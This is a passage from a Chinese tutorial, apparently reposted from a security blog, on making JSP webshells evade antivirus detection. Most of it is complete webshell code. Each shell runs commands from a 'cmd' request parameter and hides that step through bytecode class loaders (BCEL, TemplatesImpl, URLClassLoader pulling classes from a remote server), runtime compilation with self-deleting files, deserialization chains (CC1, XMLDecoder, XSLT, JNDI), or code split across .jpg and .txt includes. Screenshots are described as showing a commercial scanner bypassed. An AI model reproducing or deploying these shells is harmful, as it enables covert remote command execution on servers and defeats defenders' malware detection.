BwA/BwBABwAzAQAKRXhjZXB0aW9ucwcAQQEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIHAEIMAEMARAwARQBGBwA/DABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAEQBJDAARAEoBAAAMAEsATAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABNAE4MAE8ATAEADmNvbS9kZW1vL1NoZWxsAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nACEADwAQAAAAAAACAAEAEQASAAEAEwAAAC8AAQABAAAABSq3AAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAABQAWABcAAAAJABgAGQACABMAAADlAAUABgAAAEu4AAIqtgADTCu2AARNuwAFWbsABlkstwAHtwAIThIJOgQSCToFLbYAClk6BMYAHLsAC1m3AAwZBbYADRkEtgANtgAOOgWn/ AZBbAAAAADABQAAAAiAAgAAAALAAgADAANAA0AHQAOACEADwAlABAALwARAEgAEwAVAAAAPgAGAAAASwAaABsAAAAIAEMAHAAdAAEADQA AB4AHwACAB0ALgAgACEAAwAhACoAIgAbAAQAJQAmACMAGwAFACQAAAAcAAL/ACUABgcAJQcAJgcAJwcAKAcAJQcAJQAAIgApAAAABAABACoAAQArAAAAAgAs"); PermissionCollection pc = new Permissions(); pc.add(new AllPermission()); ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null); return this.defineClass(name, bytes, 0, bytes.length, protectionDomain); } catch (Exception e) { e.printStackTrace(); } return super.findClass(name); } }; String cmd = request.getParameter("cmd"); Class<?> shell = loader.loadClass("com.demo.Shell"); Object object = shell.newInstance(); Method dm = shell.getDeclaredMethod("runs",String.class); response.getWriter().println(dm.invoke(object, cmd)); %>

java40集教程全套(十万字解析java免查杀合集)(44)

免杀效果:

java40集教程全套(十万字解析java免查杀合集)(45)

java40集教程全套(十万字解析java免查杀合集)(46)

Apache Commons BCEL被包含在了JDK的原生库中,BCEL库提供了一系列用于分析、创建、修改Java Class文件的API用于处理字节码,但是com.sun.org.apache.bcel.internal.util.ClassLoader这个类加载器由于安全问题,在JDK7以上版本被移除,导致BCEL字节码的利用变得很局限。

<%@ page import="java.lang.reflect.Method" %> <%@ page import="com.sun.org.apache.xml.internal.security.utils.Base64" %> <%@ page import="com.sun.org.apache.bcel.internal.classfile.Utility" %> <% byte[] bytes = Base64.decode("yv66vgAAADQAUAoAEAAtCgAuAC8KAC4AMAoAMQAyBwAzBwA0CgAGADUKAAUANggANwoABQA4BwA5CgALAC0KAAsAOgoACwA7BwA8BwA9AQAGPGluaXQ AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL2RlbW8vU2hlbGw7AQAEcnVucwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJpcwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQABcgEAAXMBAA1TdGFja01hcFRhYmxlBwA BwA/BwBABwAzAQAKRXhjZXB0aW9ucwcAQQEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIHAEIMAEMARAwARQBGBwA/DABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAEQBJDAARAEoBAAAMAEsATAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABNAE4MAE8ATAEADmNvbS9kZW1vL1NoZWxsAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nACEADwAQAAAAAAACAAEAEQASAAEAEwAAAC8AAQABAAAABSq3AAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAABQAWABcAAAAJABgAGQACABMAAADlAAUABgAAAEu4AAIqtgADTCu2AARNuwAFWbsABlkstwAHtwAIThIJOgQSCToFLbYAClk6BMYAHLsAC1m3AAwZBbYADRkEtgANtgAOOgWn/ AZBbAAAAADABQAAAAiAAgAAAALAAgADAANAA0AHQAOACEADwAlABAALwARAEgAEwAVAAAAPgAGAAAASwAaABsAAAAIAEMAHAAdAAEADQA AB4AHwACAB0ALgAgACEAAwAhACoAIgAbAAQAJQAmACMAGwAFACQAAAAcAAL/ACUABgcAJQcAJgcAJwcAKAcAJQcAJQAAIgApAAAABAABACoAAQArAAAAAgAs"); String code = Utility.encode(bytes, true); String bcelCode = "$$BCEL$$" code; com.sun.org.apache.bcel.internal.util.ClassLoader bcelClassLoader = new com.sun.org.apache.bcel.internal.util.ClassLoader(); Class<?> shell = bcelClassLoader.loadClass(bcelCode); Object object = shell.newInstance(); Method dm = shell.getDeclaredMethod("runs",String.class); String cmd = request.getParameter("cmd"); response.getWriter().println(dm.invoke(object, cmd)); %>

java40集教程全套(十万字解析java免查杀合集)(47)

java40集教程全套(十万字解析java免查杀合集)(48)

TemplatesImpl 加载字节码

TemplatesImpl是fastjson反序列化漏洞中常用的对象之一,但是由于在TemplatesImpl触发漏洞点只是调用个无参构造,导致恶意类的类方法无法被调用,只能将恶意代码插入到无参构造方法,或者静态代码块中。

package com.demo; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; public class Shell extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }

注意:

这里的类必须继承自AbstractTranslet

<%@ page import="java.util.Base64" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" %> <%@ page import="com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl" %> <% class Demo { private void setFiledValue(Object obj, String fieldName, Object fieldValue) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, fieldValue); } public Demo(String s) { try { byte[] codes = Base64.getDecoder().decode(s); byte[][] _bytecodes = new byte[][] { codes, }; TemplatesImpl templates = new TemplatesImpl(); setFiledValue(templates, "_bytecodes", _bytecodes); setFiledValue(templates, "_name", "whatever"); setFiledValue(templates, "_tfactory", new TransformerFactoryImpl()); templates.newTransformer(); } catch (Exception e) { e.printStackTrace(); } } } new Demo("yv66vgAAADQAZgoAEwA/CgBAAEEKAEAAQgoAQwBEBwBFBwBGCgAGAEcKAAUASAgASQoABQBKBwBLCgALAD8KAAsATAoACwBNCABOBwBPCgAQAFAHAFEHAFIBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEExjb20vZGVtby9TaGVsbDsBAARydW5zAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAANjbWQBABJMamF2YS9sYW5nL1N0cmluZzsBAAdwcm9jZXNzAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEAAmlzAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQAOYnVmZmVyZWRSZWFkZXIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAAFyAQABcwEADVN0YWNrTWFwVGFibGUHAFMHAFQHAFUHAEUBAApFeGNlcHRpb25zAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcAVgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247BwBPAQAKU291cmNlRmlsZQEAClNoZWxsLmphdmEMABQAFQcAVwwAWABZDABaAFsHAFQMAFwAXQEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDAAUAF4MABQAXwEAAAwAYABhAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAGIAYwwAZABhAQAEY2FsYwEAE2phdmEvaW8vSU9FeGNlcHRpb24MAGUAFQEADmNvbS9kZW1vL1NoZWxsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBAA9wcmludFN0YWNrVHJhY2UAIQASABMAAAAAAAUAAQAUABUAAQAWAAAALwABAAEAAAAFKrcAAbEAAAACABcAAAAGAAEAAAAOABgAAAAMAAEAAAAFABkAGgAAAAkAGwAcAAIAFgAAAOUABQAGAAAAS7gAAiq2AANMK7YABE27AAVZuwAGWSy3AAe3AAhOEgk6BBIJOgUttgAKWToExgAcuwALWbcADBkFtgANGQS2AA22AA46Baf/4BkFsAAAAAMAFwAAACIACAAAABcACAAYAA0AGQAdABoAIQAbACUAHAAvAB0ASAAfABgAAAA AAYAAABLAB0AHgAAAAgAQwAfACAAAQANAD4AIQAiAAIAHQAuACMAJAADACEAKgAlAB4ABAAlACYAJgAeAAUAJwAAABwAAv8AJQAGBwAoBwApBwAqBwArBwAoBwAoAAAiACwAAAAEAAEAEAABAC0ALgACABYAAAA/AAAAAwAAAAGxAAAAAgAXAAAABgABAAAAJQAYAAAAIAADAAAAAQAZABoAAAAAAAEALwAwAAEAAAABADEAMgACACwAAAAEAAEAMwABAC0ANAACABYAAABJAAAABAAAAAGxAAAAAgAXAAAABgABAAAAKgAYAAAAKgAEAAAAAQAZABoAAAAAAAEALwAwAAEAAAABADUANgACAAAAAQA3ADgAAwAsAAAABAABADMACAA5ABUAAQAWAAAAYQACAAEAAAASuAACEg 2AANXpwAISyq2ABGxAAEAAAAJAAwAEAADABcAAAAWAAUAAAARAAkAFAAMABIADQATABEAFQAYAAAADAABAA0ABAA6ADsAAAAnAAAABwACTAcAPAQAAQA9AAAAAgA "); %>

在这里由于不能调用恶意类的类方法和有参构造,导致无法动态的执行命令,虽然如此但依旧可能利用ASM,javassist这些字节码框架来动态生成恶意类,进行动态的调用命令,在本文先不在探讨如何利用,

利用的方式将会在后期文章中讲解。

java40集教程全套(十万字解析java免查杀合集)(49)

java40集教程全套(十万字解析java免查杀合集)(50)

URLClassLoader本地加载

URLClassLoader一般有两种利用方式,一种是远程加载class文件,一种是本地加载class文件。

远程加载class文件免杀:

直接利用远程在家class文件的好处是代码量少,特征少。但是由于需要一个外网主机作为服务器,远程可能存在着被溯源的可能性。

<%@ page import="java.net.URL" %> <%@ page import="java.net.URLClassLoader" %> <%@ page import="java.lang.reflect.Method" %> <% String cmd = request.getParameter("cmd"); URL url = new URL("http://127.0.0.1:8000/"); URLClassLoader classLoader = new URLClassLoader(new URL[]{url}); System.out.println("父类加载器:" classLoader.getParent()); // 默认父类加载器是系统类加载器 Class shell = classLoader.loadClass("com.demo.Shell"); Object object = shell.newInstance(); Method dm = shell.getDeclaredMethod("runs",String.class); Object invoke = dm.invoke(object, cmd); response.getWriter().println(invoke); %>

java40集教程全套(十万字解析java免查杀合集)(51)

这里讲解一下服务端如何搭建:

第一步:在一个文件夹中使用python开启一个http服务

python -m http.server

java40集教程全套(十万字解析java免查杀合集)(52)

第二步:将编译好的class文件,根据全限定类名创建相应的文件夹,并导入class文件

java40集教程全套(十万字解析java免查杀合集)(53)

以上两步即可完成搭建

免杀效果:

java40集教程全套(十万字解析java免查杀合集)(54)

java40集教程全套(十万字解析java免查杀合集)(55)

JavaCompiler本地class文件免杀:

该免杀方式为先写入一个java马,利用JavaCompiler将其在jvm运行时编译成class文件,及javac动态编译,在利用urlclassloader加载编译好的class文件,为了消除特征以下的base64编码的内容就是之前写好的webshell代码。由于这种方式会创建java,class文件,为了隐蔽性,在这里将删除的文件在进行了删除处理。

<%@ page import="java.net.URL" %> <%@ page import="java.net.URLClassLoader" %> <%@ page import="java.lang.reflect.Method" %> <%@ page import="java.io.FileWriter" %> <%@ page import="java.util.Base64" %> <%@ page import="java.io.IOException" %> <%@ page import="javax.tools.JavaCompiler" %> <%@ page import="javax.tools.ToolProvider" %> <%@ page import="java.io.File" %> <% class delete{ public void deleteDir(File directory){ File files[] = directory.listFiles(); for (File file : files) { if(file.isDirectory()){ deleteDir(file); }else { file.delete(); } } directory.delete(); } } String cmd = request.getParameter("cmd"); String base64Code = "cGFja2FnZSBjb20uZGVtbzsgIGltcG9ydCBqYXZhLmlvLkJ1ZmZlcmVkUmVhZGVyOyBpbXBvcnQgamF2YS5pby5JT0V4Y2VwdGlvbjsgaW1wb3J0IGphdmEuaW8uSW5wdXRTdHJlYW07IGltcG9ydCBqYXZhLmlvLklucHV0U3RyZWFtUmVhZGVyOyAgcHVibGljIGNsYXNzIFNoZWxsIHsgICAgIHB1YmxpYyBzdGF0aWMgU3RyaW5nIHJ1bnMoU3RyaW5nIGNtZCkgdGhyb3dzIElPRXhjZXB0aW9uIHsgICAgICAgICBQcm9jZXNzIHByb2Nlc3MgPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGNtZCk7ICAgICAgICAgSW5wdXRTdHJlYW0gaXMgPSBwcm9jZXNzLmdldElucHV0U3RyZWFtKCk7ICAgICAgICAgQnVmZmVyZWRSZWFkZXIgYnVmZmVyZWRSZWFkZXIgPSBuZXcgQnVmZmVyZWRSZWFkZXIobmV3IElucHV0U3RyZWFtUmVhZGVyKGlzKSk7ICAgICAgICAgU3RyaW5nIHIgPSAiIjsgICAgICAgICBTdHJpbmcgcyA9ICIiOyAgICAgICAgIHdoaWxlKChyID0gYnVmZmVyZWRSZWFkZXIucmVhZExpbmUoKSkhPW51bGwpeyAgICAgICAgICAgICBzICs9IHI7ICAgICAgICAgfSAgICAgICAgIHJldHVybiBzOyAgICAgfSAgfQ=="; FileWriter writer; try { writer = new FileWriter(System.getProperty("user.dir") "\\Shell.java"); writer.write(new String(Base64.getDecoder().decode(base64Code))); writer.flush(); writer.close(); } catch (IOException e) { e.printStackTrace(); } try { JavaCompiler javac = ToolProvider.getSystemJavaCompiler(); int status = javac.run(null, null, null, "-d", System.getProperty("user.dir"),System.getProperty("user.dir") "\\Shell.java"); if(status!=0){ response.getWriter().println(System.getProperty("user.dir")); } URLClassLoader classLoader = new URLClassLoader(new URL[]{new File(String.valueOf(System.getProperty("user.dir"))).toURI().toURL()}); Class shell = classLoader.loadClass("com.demo.Shell"); Object object = shell.newInstance(); Method dm = shell.getDeclaredMethod("runs",String.class); Object invoke = dm.invoke(object, cmd); response.getWriter().println(invoke); new delete().deleteDir(new File(System.getProperty("user.dir") "\\com")); new delete().deleteDir(new File(System.getProperty("user.dir") "\\Shell.java")); } catch (Exception e) { e.printStackTrace(); } %>

java40集教程全套(十万字解析java免查杀合集)(56)

免杀效果:

java40集教程全套(十万字解析java免查杀合集)(57)

java40集教程全套(十万字解析java免查杀合集)(58)

如果大家学过shellcode的免杀,我想都会有一种似曾相识的感觉,没错,这里的字节码类似与shellcode,而类加载器类似于shellcode加载器。本文讲解了最常用的生成字节码的方式,以及利用类加载器加载字节码达到免杀效果。

本章主要讲解,如何利用通用漏洞来进行命令执行,从而达到免杀效果

这种方式就相当于直接触发提供一个反序列化漏洞入口,但是能否被利用,还是在于服务端本身是否存在反序列化漏洞,下面给了一个例子,使用cc1链构建的webshell。

<%@ page import="java.io.*" %> <%@ page import="org.apache.commons.collections.Transformer" %> <%@ page import="org.apache.commons.collections.functors.ConstantTransformer" %> <%@ page import="org.apache.commons.collections.functors.InvokerTransformer" %> <%@ page import="org.apache.commons.collections.functors.ChainedTransformer" %> <%@ page import="java.util.Map" %> <%@ page import="java.util.HashMap" %> <%@ page import="org.apache.commons.collections.map.LazyMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="java.lang.reflect.InvocationHandler" %> <%@ page import="java.lang.annotation.Retention" %> <%@ page import="java.lang.reflect.Proxy" %> <% String cmd = request.getParameter("cmd"); Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { cmd }) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innermap = new HashMap(); Map outmap = LazyMap.decorate(innermap, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outmap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap); ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out")); outputStream.writeObject(handler); outputStream.close(); ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out")); inputStream.readObject(); %>

免杀效果:

java40集教程全套(十万字解析java免查杀合集)(59)

java40集教程全套(十万字解析java免查杀合集)(60)

可见由于调用的函数太多,特征也非常明显,这里算是提供一些思路。

想必大家都分析Weblogic的xmlDecoder反序列化漏洞,XMLDecoder免杀其实就是利用XMLDecoder处理恶意的xml文件导致命令执行,并没有太多常见命令函数的特征,免杀效果不错。

<%@ page import="java.beans.XMLDecoder" %> <%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String s = "<object class=\"java.lang.ProcessBuilder\">\n" "<array class=\"java.lang.String\" length=\"3\">\n" "<void index=\"0\">\n" "<string>cmd.exe</string>\n" "</void>\n" "<void index=\"1\">\n" "<string>/c</string>\n" "</void>\n" "<void index=\"2\">\n" "<string>" cmd "</string>\n" "</void>\n" "</array>\n" "<void method=\"start\" />\n" "</object>\n"; XMLDecoder xd = new XMLDecoder(new ByteArrayInputStream(s.getBytes())); ProcessBuilder process = (ProcessBuilder) xd.readObject(); InputStream is = process.start().getInputStream(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is)); String r = null; while((r = bufferedReader.readLine())!=null){ response.getWriter().println(r); } %>

java40集教程全套(十万字解析java免查杀合集)(61)

java40集教程全套(十万字解析java免查杀合集)(62)

其实就是利用XSLT注入来执行命令,但值得注意的是XSLT注入笔者目前并没有想到合适的方法让内容回显,因为XSLT貌似只能执行静态方法且返回值都是以String类型返回,导致process中的数据很难取出来。

<%@ page import="java.io.*" %> <%@ page import="javax.xml.transform.Transformer" %> <%@ page import="javax.xml.transform.stream.StreamResult" %> <%@ page import="javax.xml.transform.TransformerFactory" %> <%@ page import="javax.xml.transform.stream.StreamSource" %> <% String cmd = request.getParameter("cmd"); String s = " <xsl:stylesheet version=\"1.0\" " "xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" " "xmlns:rt=\"java.lang.Runtime\"> " " <xsl:template match=\"/\">\n" " <xsl:variable name=\"rtobject\" select=\"rt:getRuntime()\"/>\n" " <xsl:variable name=\"process\" select=\"rt:exec($rtobject,'" cmd "')\"/>\n" " <xsl:variable name=\"ddd\" select=\"$process\"/>\n" " <xsl:value-of select=\"$ddd\"/>\n" " </xsl:template>\n" " </xsl:stylesheet>"; InputStream in = new ByteArrayInputStream(s.getBytes()); StreamResult result = new StreamResult(new ByteArrayOutputStream()); Transformer t = TransformerFactory.newInstance().newTransformer(new StreamSource(in)); t.transform(new StreamSource(new ByteArrayInputStream("<?xml version=\"1.0\" encoding=\"UTF-8\"?><data></data>".getBytes())),result); %>

java40集教程全套(十万字解析java免查杀合集)(63)

java40集教程全套(十万字解析java免查杀合集)(64)

java40集教程全套(十万字解析java免查杀合集)(65)

攻击者:

package com.demo; import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class Demo2 { public static void main(String[] args) throws Exception { try { Registry registry = LocateRegistry.createRegistry(1099); Reference aa = new Reference("Calc", "Calc", "http://127.0.0.1/"); ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa); registry.bind("hello", refObjWrapper); } catch (Exception e) { e.printStackTrace(); } } }

恶意类:

import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable; public class Calc implements ObjectFactory { public Calc() { try { Runtime.getRuntime().exec("calc"); } catch (Exception e) { } } @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { System.out.println(nameCtx); //Runtime.getRuntime().exec("calc"); return null; } }

webshell:

<%@ page import="javax.naming.Context" %> <%@ page import="javax.naming.InitialContext" %> <%@ page language="java" pageEncoding="UTF-8" %> <% try { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); String uri = "rmi://127.0.0.1:1099/hello"; Context ctx = new InitialContext(); ctx.lookup(uri); } catch (Exception e) { e.printStackTrace(); } %>

java40集教程全套(十万字解析java免查杀合集)(66)

java40集教程全套(十万字解析java免查杀合集)(67)

java40集教程全套(十万字解析java免查杀合集)(68)

本章主要是通过自己创造漏洞来执行命令,而我们用到的这些函数其实也是业务中比较常见的函数,且如果不了解漏洞原理,也不好分析是否是webshell

本章只要将之前没讲的一些免杀反射进行补充

<%@ page import="java.io.InputStream" %> <%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.InputStreamReader" %> <%@page language="java" pageEncoding="utf-8" %> <%@ include file = "1.jpg" %>

1.jpg

<% String cmd = request.getParameter("cmd"); Process process = Runtime.getRuntime().exec(cmd); InputStream is = process.getInputStream(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is)); String r = null; while((r = bufferedReader.readLine())!=null){ response.getWriter().println(r); } %>

java40集教程全套(十万字解析java免查杀合集)(69)

免杀效果:

java40集教程全套(十万字解析java免查杀合集)(70)

java40集教程全套(十万字解析java免查杀合集)(71)

可以看到某盾会查杀jpg文件,这样的话,我们就在分解成多个部分

java40集教程全套(十万字解析java免查杀合集)(72)

这里我们分成两部分进行包含

java40集教程全套(十万字解析java免查杀合集)(73)

发现依旧绕不过,其实原因就是杀软的匹配规则,有的是单一匹配,有的是同时匹配,因此我们换一个之前不免杀的webshell(由于两处及以上特征存在导致被查杀)

java40集教程全套(十万字解析java免查杀合集)(74)

正常运行

java40集教程全套(十万字解析java免查杀合集)(75)

某盾不在查杀

<%@ page import="java.lang.reflect.Method" %> <%@ page import="java.io.*" %> <%@ page import="java.util.Base64" %> <%@ page language="java" pageEncoding="UTF-8" %> <%@ include file = "1.jpg" %> <%@ include file = "2.txt" %>

1.jpg

<% String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8")); Class<?> rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8")); Method runtimeMethod = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8")); Method method = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class); Object object = method.invoke(runtimeMethod.invoke(null),cmd); Process process = (Process) object; %>

2.txt

<% InputStream is = process.getInputStream(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is)); String r = null; while((r = bufferedReader.readLine())!=null){ response.getWriter().println(r); } %>

java的免杀只要就是在于如何利用字节码,jsp特性,创建漏洞,少见的API等方式去绕过杀软的正则表达式,一般的杀软为了降低误报率,其实规则写的并不苛刻,还是比较好绕过了,多种免杀一起使用可以达到比较好的效果,其实学免杀,并不是盲目去测试,而且要了解更多的语言特性,就相当于游戏规则,当你足够了解游戏规则,再去测试杀软的规则,才能游刃有余。从才开始的php到现在的jsp,免杀系列已经写了10来篇了,weshell免杀就此先告一段落,后面如果有新的知识点也会继续补充,感谢大家。

原文链接:https://f5.pm/go-126866.html?utm_source=tuicool&utm_medium=referral

,

免责声明:本文仅代表文章作者的个人观点,与本站无关。其原创性、真实性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容文字的真实性、完整性和原创性本站不作任何保证或承诺,请读者仅作参考,并自行核实相关内容。文章投诉邮箱:anhduc.ph@yahoo.com

    分享
    投诉
    首页